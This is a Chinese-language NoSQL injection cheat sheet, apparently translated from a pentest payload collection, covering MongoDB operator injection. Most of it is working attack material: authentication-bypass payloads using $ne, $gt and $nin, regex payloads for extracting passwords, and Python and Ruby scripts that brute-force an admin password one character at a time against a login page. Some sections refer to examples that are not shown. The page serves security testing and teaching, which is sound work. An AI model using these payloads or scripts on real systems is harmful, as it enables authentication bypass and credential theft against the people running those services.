NoSQL 注入 (NoSQL Injection)
NoSQL 数据库比传统 SQL 数据库提供了更松散的一致性限制。通过减少关系约束和一致性检查,NoSQL 数据库通常在性能和扩展性方面具有优势。然而,即使不使用传统的 SQL 语法,这些数据库仍然可能面临注入攻击的威胁。
摘要 (Summary)
工具 (Tools)
- codingo/NoSQLmap - 自动化的 NoSQL 数据库枚举和 Web 应用程序利用工具
- digininja/nosqlilab - 用于练习 NoSQL 注入的实验环境
- matrix/Burp-NoSQLiScanner - 此扩展提供了发现 NoSQL 注入漏洞的方法。
方法论 (Methodology)
NoSQL 注入发生在攻击者通过在 NoSQL 数据库查询中注入恶意输入来操纵查询时。与 SQL 注入不同,NoSQL 注入通常利用基于 JSON 的查询以及 MongoDB 中的运算符,如 $ne、$gt、$regex 或 $where。
运算符注入 (Operator Injection)
| 运算符 | 描述 |
|---|---|
| $ne | 不等于 (not equal) |
| $regex | 正则表达式 (regular expression) |
| $gt | 大于 (greater than) |
| $lt | 小于 (lower than) |
| $nin | 不在...中 (not in) |
示例:一个 Web 应用程序具有产品搜索功能
攻击者可以注入一个 NoSQL 查询:{ "$gt": 0 }。
数据库不会返回特定产品,而是返回价格大于零的所有产品,从而导致数据泄露。
身份验证绕过 (Authentication Bypass)
使用不等于 ($ne) 或大于 ($gt) 实现基础的身份验证绕过。
- HTTP 数据
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
- JSON 数据
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
提取长度信息 (Extract Length Information)
使用 $regex 运算符注入负载。当长度正确时,注入将生效。
提取数据信息 (Extract Data Information)
使用 "$regex" 查询运算符提取数据。
- HTTP 数据
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
- JSON 数据
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
使用 "$in" 查询运算符提取数据。
WAF 与过滤器 (WAF and Filters)
移除预设条件:
在 MongoDB 中,如果一个文档包含重复的键,则该键的最后一次出现将具有优先权。
在这种情况下,"id" 的最终值将是 "100"。
NoSQL 盲注 (Blind NoSQL)
带有 JSON 负载的 POST 请求
Python 脚本:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
带有 urlencoded 负载的 POST 请求
Python 脚本:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','&','$']:
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
print("Found one more char : %s" % (password+c))
password += c
GET 请求
Python 脚本:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload=f"?username={username}&password[$regex]=^{password + c}"
r = requests.get(u + payload)
if 'Yeah' in r.text:
print(f"Found one more char : {password+c}")
password += c
Ruby 脚本:
require 'httpx'
username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # 所有 ASCII 可打印字符
CHARSET = [*'0'..'9',*'a'..'z','-'] # 字母数字 + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)
while true
CHARSET.each do |c|
unless GET_EXCLUDE.include?(c)
payload = "?username=#{username}&password[$regex]=^#{password + c}"
res = session.get(url + payload)
if res.body.to_s.match?('Yeah')
puts "Found one more char : #{password + c}"
password += c
end
end
end
end
实验环境 (Labs)
参考资料 (References)
- Burp-NoSQLiScanner - matrix - 2021年1月30日
- 消除 NoSQL 注入中的前置条件和后置条件 - Reino Mostert - 2025年3月11日
- 常规与盲注 NoSQL 注入:永远不要信任用户输入 - Geluchat - 2015年2月22日
- 使用聚合管道实现的 MongoDB NoSQL 注入 - Soroush Dalili (@irsdl) - 2024年6月23日
- 基于错误的 NoSQL 注入 - Reino Mostert - 2025年3月15日
- MongoDB 中的 NoSQL 注入 - Zanon - 2016年7月17日
- NoSQL 注入字典 - cr0hn - 2021年5月5日
- 测试 NoSQL 注入 - OWASP - 2023年5月2日